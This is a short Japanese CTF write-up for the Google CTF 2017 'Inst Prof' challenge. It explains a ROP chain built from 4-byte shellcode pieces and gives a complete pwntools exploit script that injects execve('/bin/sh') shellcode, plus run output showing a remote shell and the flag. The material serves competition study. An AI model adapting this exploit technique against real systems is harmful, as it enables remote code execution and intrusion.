Google CTF 2017 Inst Prof writeup
はじめに
shellcode問、やるだけ。
方針
下記のshellcodeを用いて、ROPを組んだ。それぞれ4byteになっている。
shellcode実行中のstackの先頭にはリターンアドレスがあるので、pop, push
でstackを壊さずにレジスタにテキスト領域のアドレスを格納することができる。r15
は特にバイナリ中で使用してなさそうだったので選んだ。
inc
とdec
で所望のROPガジェットとなるように、オフセットを計算している。0x1000回のinc
またはdec
を避けるために、ret
ですぐにリターンさせている。stack上への値の格納は、格納先をrbp
からのオフセットで指定できるmov
を使用した。rbx
はshellcodeの実行領域を指しているので、ROP中で用いている。1度のshellcodeを4byteに収めるために、下記の中でのoffsetとvalueは1byteに制限されている。
pop r15, push r15 inc r15, ret dec r15, ret mov BYTE PTR [rbp + offst], value mov [rbp+offset], r15 mov [rbp+offset], rbx
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "inst-prof.ctfcompetition.com" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('') elf = ELF('./inst_prof') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./inst_prof'], execute=execute) else: conn = process(['./inst_prof']) # conn = process(['./inst_prof'], env={'LD_PRELOAD': ''}) # preparing for exploitation def pop_push_r15(): return asm('pop r15\n push r15') def inc_r15(): return asm('inc r15\n ret') def dec_r15(): return asm('dec r15\n ret') def byte_move(offset, value): return asm('mov BYTE PTR [rbp+%d], %d' % (offset, value)) def byte_add(offset, value): return asm('add BYTE PTR [rbp+%d], %d' % (offset, value)) def reg_move(offset): return asm('mov [rbp+%d], r15' % offset) log.info('Pwning') conn.recvuntil('ready') payload = '' # alloc_page payload += pop_push_r15() payload += dec_r15() * 0x128 payload += reg_move(0x10) # pop_rsi_r15 rsi= 0x80, r15=? payload += pop_push_r15() payload += inc_r15() * 0xa9 payload += reg_move(0x18) payload += byte_move(0x20 + 0, 0x80) payload += byte_move(0x20 + 1, 0x00) # pop rdi; ret payload += pop_push_r15() payload += inc_r15() * 0xab payload += reg_move(0x30) payload += asm('mov [rbp+0x38], rbx') # read_n(size) payload += pop_push_r15() payload += dec_r15() * 0x98 payload += reg_move(0x40) # pop rdi ; ret payload += pop_push_r15() payload += inc_r15() * 0xab payload += reg_move(0x48) payload += asm('mov [rbp+0x50], rbx') # make_page_executable(addr) payload += pop_push_r15() payload += dec_r15() * 0xf8 payload += reg_move(0x58) payload += asm('mov [rbp+0x60], rbx') # trigger ROP payload += pop_push_r15() payload += inc_r15() * 0x39 payload += reg_move(0x8) # execve('/bin/sh') shellcode = '\x90' * 0x10 shellcode += asm(shellcraft.sh()) shellcode = shellcode.ljust(0x80, '\x90') payload += shellcode + '\n' conn.send(payload) conn.interactive()
結果
python exploit.py r [*] '/home/hama/ctf/GoogleCTF2017/InstProf/inst_prof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done [*] Pwning [*] Switching to interactive mode (長いので省略) $ cat flag.txt CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}
おわりに
見返してみるとゴリ押しが酷い